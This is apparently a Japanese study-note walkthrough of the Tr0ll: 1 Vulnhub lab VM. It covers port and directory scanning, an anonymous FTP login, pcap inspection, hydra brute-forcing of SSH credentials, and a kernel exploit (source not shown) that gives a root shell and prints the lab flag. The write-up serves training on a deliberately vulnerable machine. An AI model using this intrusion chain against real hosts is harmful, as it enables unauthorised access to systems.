kanyewest CTF

勉強したことをメモしています。

Tr0ll: 1 Vulnhub Walkthrough

Enumeration

Port Scanning

$ sudo nmap -Pn -sS -sV -p- 192.168.2.113

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))

webサイトを確認します。

f:id:tekashi:20200627201406p:plain

$ nikto -h 192.168.2.113

+ Entry '/secret/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
$ gobuster dir -u 192.168.2.113 -w /usr/share/dirb/wordlists/big.txt -t 50 -q -x php

/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/robots.txt (Status: 200)
/secret (Status: 301)
/server-status (Status: 403)

robots.txtやgobusterから/secretディレクトリがあることがわかります。

f:id:tekashi:20200627201458p:plain

しかし、アクセスしたところで特になにもありません。

anonymousでFTPにログイン

21番ポートが空いていたのでanonymousでログインを試みてみます。

$ ftp 192.168.2.113
Connected to 192.168.2.113.
220 (vsFTPd 3.0.2)
Name (192.168.2.113:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx    1 1000     0            8068 Aug 10  2014 lol.pcap
226 Directory send OK.
ftp> 

そうするとパスワードなしでログインできて、lol.pcapがあるのでWiresharkで中身を見てみます。

WireShark

f:id:tekashi:20200627201732p:plain

流れとしてはUSER anonymous、PASS passwordでFTPにログインしたあとにsecret_stuff.txtというファイルをダウンロードしています。

f:id:tekashi:20200627201854p:plain secret_stuff.txtの中身を確認すると

    Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P\n
    \n
    Sucks, you were so close... gotta TRY HARDER!\n

と書かれています。

最初はsup3rs3cr3tdirlolがユーザ名かなにかなのかと思いましたがいろいろ試してみるとディレクトリであることがわかりました。

f:id:tekashi:20200627201958p:plain

rolfmaoというファイルがあるのでダウンロードして実行してみます。

$ ./roflmao 
Find address 0x0856BF to proceed

出力はこれだけで一応gdbデバッグしてみると

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x0804841d <+0>:     push   ebp
   0x0804841e <+1>:     mov    ebp,esp
   0x08048420 <+3>:     and    esp,0xfffffff0
   0x08048423 <+6>:     sub    esp,0x10
   0x08048426 <+9>:     mov    DWORD PTR [esp],0x80484d0
   0x0804842d <+16>:    call   0x80482f0 <printf@plt>
   0x08048432 <+21>:    leave  
   0x08048433 <+22>:    ret    
End of assembler dump.

本当にこれを出力する以外なにもやっていないようだし、0x0856BFというアドレスはないのでこれもディレクトリであると推測できました。

f:id:tekashi:20200627202120p:plain

アクセスしてみるとユーザ名とパスワードの辞書のようなテキストファイルがあります。

$ cat which_one_lol.txt 
maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow
$ cat Pass.txt 
Good_job_:)

これらでhydraを用いて総当りしてもうまくいかなかったのですが、Pass.txtをパスワードの辞書に追加してhydraをするとうまくいきました。

$ hydra -L which_one_lol.txt -P Pass.txt 192.168.2.113 ssh -f -V -c 10

[22][ssh] host: 192.168.2.113   login: overflow   password: Pass.txt

ssh

$ ssh overflow@192.168.2.113
overflow@192.168.2.113's password: 
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)

 * Documentation:  https://help.ubuntu.com/

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Jun 27 04:06:17 2020 from 192.168.2.109
Could not chdir to home directory /home/overflow: No such file or directory
$ python -c "import pty;pty.spawn('/bin/bash')"
overflow@troll:/$
overflow@troll:/$ ls /home/troll
overflow@troll:/$ find / -perm -4000 2>/dev/null
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/su
/bin/ping
/bin/fusermount
/bin/ping6
/bin/mount
/bin/umount

SUIDが設定されてるファイルを探したりhomeディレクトリを見てみましたが特になにもなかったのでLinuxカーネルのバージョンからPrivilege Escalationできないかと考えました。

Privilege Escalation

overflow@troll:/$ uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux

f:id:tekashi:20200627202536p:plain

ちょうどいいExploitコードがあったのであとはこれを192.168.2.113の/tmpにダウンロードしてコンパイル、実行するだけです。

overflow@troll:/tmp$ ls
exploit.c
overflow@troll:/tmp$ gcc exploit.c
overflow@troll:/tmp$ ls
a.out  exploit.c
overflow@troll:/tmp$ ./a.out
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),1002(overflow)
# cat /root/proof.txt
Good job, you did it! 


702a8c18d29c6f3ca0d99ef5712bfbdc